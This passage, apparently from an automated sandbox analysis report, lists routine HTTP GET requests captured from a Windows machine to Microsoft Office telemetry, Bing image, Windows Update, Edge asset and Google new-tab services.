t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAUOg93vlnA99NGl1x00/BtHZ+YvasFfKt2yzq6PoX9CBCDki5VMH21QnyjzZSgLH2YjQ3CQwYqHn+wGaUuxXTFjnH0sQJWA0HvT6hAEee2kVbU7pChVKgzs/JEB5FxtfX8r6CSuyh6NnPe6U6tQs0RKagv1PZPmu1ShpM5MSU+zd+P+Z+QPbPgvC6KG6+i+eooFHl9Ms5BEZOIqMfoZ2zLo2B7vxAODGN21HSb5GLaL8kCOEmC1GNP0uaImFLn//hGLGYme8lufNeoklgmmVyIC2NJTRVIHky3ESIiQCfGKbPguCIPVt0x0IRep5OffGmdVds+iumzDToSnfmRxX/0IQZgAAEOPNH5RVL7f090YYaN7epm2wAXUO3p/v6esdCfHQv+L4Nx9AFhK7S6mACUF0HMSfWNFuboVoOtwaaPWxgDl1sd0C+ThAyGjaTYn5VnHBaNRUNUmaN5ysF7sf7KyK9goRHmwhYO92+W9ixMNZJuoxBgllXtbhNbVcNGZ5UCCkwu26h9Odye19xkC6uUVa06euUIXPndOR67tj2P6lQeGbUomZU6CQDmjp52l9XmgRRRjiP/hNEyxG7N022hHzeUnS5S9iKXn/6Bbx6jJ6y8ByU87qMdLKLHlQFAX/2sB0iucRaM2uw9vA1YAfpxfKjcQoWFxMDvtGmoYP+BEOk28vZCy9TFrqS/l93zAMCAXnT1utEr54eie2IBhLeXuPTWk3Ia7yJJLQ/DU963F339B+gamjxbZcNIx61qZ4ygVJ06A+RZdokwSW21zF4JxM+KOV6TuqpWjnaATxYdNZV8LvqlOERxjQ0x1Fv3sd3MDFKNtxhnIcQUpEMneSEAzfgfwUD+z9TxsEuq36DA9hO9LknFiwcJ6Zy7RTEtmhhMavQmzfF8V3oAZjBZC1IDScPRXC5w8TuS4XDx/8nSU6CWbsNPSAndgB&p=Cache-Control: no-cacheMS-CV: xvordVrvSkaV7eTE.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239340418587_1WAY0EU9WVN81W6N5&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239357290389_1WHXB2JL6W3CH3HF1&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239357290388_16CMXFO1MXGSZHTL5&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239360432892_19VCX0OIIPQAUNJ24&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239360432890_1TOC5U5IB565A9QI0&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239340418588_1PJ4HLSB51V9JOSDD&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239339388047_1IA8KT8C9GBGWC56Z&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239399109664_12R6JVR4SJZQSTHCV&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239339388046_17EE83OP3A0D95XZO&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239399109665_1344PV668L57B53FJ&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIk6HLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc=Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/ddljson?async=ntp:2 HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIk6HLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239399230515_1O5S4SCQK1NL15G8R&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239399230513_1725RTMX37W73V5P6&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=MR3za6bfP2Ux6u5&MD=awHTx8PN HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1Host: api.edgeoffer.microsoft.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /crx/blobs/AW50ZFsLPhJJyx_4ShcDOgcEpJeOc7Vr0kMzfFRoaMfWx4pAgZ0UGF2i9_ei1A7FAHQ-EPFULeBn7F8_SEKhjbpEyKfiidX7GF_6BDOycMeg5w03wjwVQ61hkaEix8WFqmEAxlKa5cmz_tdFr9JtRwdqRu82wmLe2Ghe/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_84_1_0.crx HTTP/1.1Host: clients2.googleusercontent.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: ShorelineSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: EntityExtractionDomainsConfigSec-Mesh-Client-Edge-Version: 117.0.2045.55Sec-Mesh-Client-Edge-Channel: stableSec-Mesh-Client-OS: WindowsSec-Mesh-Client-OS-Version: 10.0.19045Sec-Mesh-Client-Arch: x86_64Sec-Mesh-Client-WebView: 0Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
